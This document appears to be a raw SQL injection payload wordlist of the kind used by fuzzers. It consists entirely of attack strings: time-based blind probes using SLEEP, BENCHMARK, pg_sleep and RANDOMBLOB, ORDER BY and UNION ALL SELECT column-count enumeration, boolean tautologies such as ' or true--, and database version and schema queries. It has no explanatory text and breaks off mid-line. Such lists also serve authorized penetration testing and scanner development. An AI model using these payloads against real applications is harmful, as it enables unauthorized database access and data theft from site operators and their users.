benchmark(10000000,MD5(1))# or benchmark(50000000,MD5(1)) or benchmark(50000000,MD5(1))# or benchmark(50000000,MD5(1))-- ORDER BY 1 ORDER BY 1# ORDER BY 1-- ORDER BY 10 ORDER BY 10# ORDER BY 10-- ORDER BY 11 ORDER BY 11# ORDER BY 11-- ORDER BY 12 ORDER BY 12# ORDER BY 12-- ORDER BY 13 ORDER BY 13# ORDER BY 13-- ORDER BY 14 ORDER BY 14# ORDER BY 14-- ORDER BY 15 ORDER BY 15# ORDER BY 15-- ORDER BY 16 ORDER BY 16# ORDER BY 16-- ORDER BY 17 ORDER BY 17# ORDER BY 17-- ORDER BY 18 ORDER BY 18# ORDER BY 18-- ORDER BY 19 ORDER BY 19# ORDER BY 19-- ORDER BY 1,SLEEP(5) ORDER BY 1,SLEEP(5)# ORDER BY 1,SLEEP(5)-- ORDER BY 1,SLEEP(5),3# ORDER BY 1,SLEEP(5),3-- ORDER BY 1,SLEEP(5),3,4# ORDER BY 1,SLEEP(5),3,4-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')) ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- ORDER BY 2 ORDER BY 2# ORDER BY 2-- ORDER BY 20 ORDER BY 20# ORDER BY 20-- ORDER BY 21 ORDER BY 21# ORDER BY 21-- ORDER BY 22 ORDER BY 22# ORDER BY 22-- ORDER BY 23 ORDER BY 23# ORDER BY 23-- ORDER BY 24 ORDER BY 24# ORDER BY 24-- ORDER BY 25 ORDER BY 25# ORDER BY 25-- ORDER BY 26 ORDER BY 26# ORDER BY 26-- ORDER BY 27 ORDER BY 27# ORDER BY 27-- ORDER BY 28 ORDER BY 28# ORDER BY 28-- ORDER BY 29 ORDER BY 29# ORDER BY 29-- ORDER BY 3 ORDER BY 3# ORDER BY 3-- ORDER BY 30 ORDER BY 30# ORDER BY 30-- ORDER BY 31337 ORDER BY 31337# ORDER BY 31337-- ORDER BY 4 ORDER BY 4# ORDER BY 4-- ORDER BY 5 ORDER BY 5# ORDER BY 5-- ORDER BY 6 ORDER BY 6# ORDER BY 6-- ORDER BY 7 ORDER BY 7# ORDER BY 7-- ORDER BY 8 ORDER BY 8# ORDER BY 8-- ORDER BY 9 ORDER BY 9# ORDER BY 9-- ORDER BY SLEEP(5)# ORDER BY SLEEP(5)-- ORDER BY SLEEP(5)# ORDER BY SLEEP(5)-- ' or 'one'='one ' or 'one'='one– " or pg_sleep(5)-- ") or pg_sleep(5)-- ")) or pg_sleep(5)-- ' or pg_sleep(5)-- ') or pg_sleep(5)-- ')) or pg_sleep(5)-- or pg_SLEEP(5) or pg_SLEEP(5)# or pg_SLEEP(5)-- " or sleep(5)# " or sleep(5)=" ") or sleep(5)=" ")) or sleep(5)=" ' or sleep(5)# ' or sleep(5)=' ') or sleep(5)=' ')) or sleep(5)=' or SLEEP(5) or SLEEP(5)# or SLEEP(5)-- or SLEEP(5)=" or SLEEP(5)=' or true " or true-- ") or true-- ' or true-- ') or true-- or true-- ' or uid like '% ' or uname like '% ' or userid like '% ' or user like '% ' or username like '% ") or ("x")=("x ")) or (("x"))=(("x ') or ('x')=('x ') or ('x'='x ')) or (('x'))=(('x ' OR 'x'='x ' OR 'x'='x'#; OR x=x OR x=x# OR x=x-- OR x=y OR x=y# OR x=y-- pg_sleep(5)-- pg_SLEEP(5) pg_SLEEP(5)# pg_SLEEP(5)-- RANDOMBLOB(1000000000/2) RANDOMBLOB(500000000/2) RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'=' RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'=' SELECT * FROM information_schema.tables ,(select * from (select(sleep(10)))a) (SELECT * FROM (SELECT(SLEEP(5)))ecMj) (SELECT * FROM (SELECT(SLEEP(5)))ecMj)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj)-- SELECT * FROM v$version SELECT @@version SELECT version() + SLEEP(10) + ' SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ sleep(5)# &&SLEEP(5) &&SLEEP(5)# &&SLEEP(5)-- SLEEP(5)# SLEEP(5)-- SLEEP(5)=" SLEEP(5)=' '&&SLEEP(5)&&'1 -- UNION ALL SELECT 1 UNION ALL SELECT 1# UNION ALL SELECT 1-- UNION ALL SELECT 1,2 UNION ALL SELECT 1,2# UNION ALL SELECT 1,2-- UNION ALL SELECT 1,2,3 UNION ALL SELECT 1,2,3# UNION ALL SELECT 1,2,3-- UNION ALL SELECT 1,2,3,4 UNION ALL SELECT 1,2,3,4# UNION ALL SELECT 1,2,3,4-- UNION ALL SELECT 1,2,3,4,5 UNION ALL SELECT 1,2,3,4,5# UNION ALL SELECT 1,2,3,4,5-- UNION ALL SELECT 1,2,3,4,5,6 UNION ALL SELECT 1,2,3,4,5,6# UNION ALL SELECT 1,2,3,4,5,6-- UNION ALL SELECT 1,2,3,4,5,6,7 UNION ALL SELECT 1,2,3,4,5,6,7# UNION ALL SELECT 1,2,3,4,5,6,7-- UNION ALL SELECT 1,2,3,4,5,6,7,8 UNION ALL SELECT 1,2,3,4,5,6,7,8# UNION ALL SELECT 1,2,3,4,5,6,7,8-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9 UNION ALL SELECT 1,2,3,4,5,6,7,8,9# UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29-- UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30-- ' UNION ALL SELECT 1, @@version;# UNION ALL SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(106)+CHAR(113)+CHAR(110)+CHAR(106)+CHAR(99)+CHAR(73)+CHAR(66)+CHAR(109)+CHAR(119)+CHAR(81)+CHAR(108)+CHAR(88)+CHAR(113)+CHAR(112)+CHAR(106)+CHAR(107)+CHAR(113),NULL-- UNION ALL SELECT 'INJ'||'ECT'||'XXX' UNION ALL SELECT 'INJ'||'ECT'||'XXX'# UNION ALL SELECT 'INJ'||'ECT'||'XXX'-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# UNION ALL SELECT 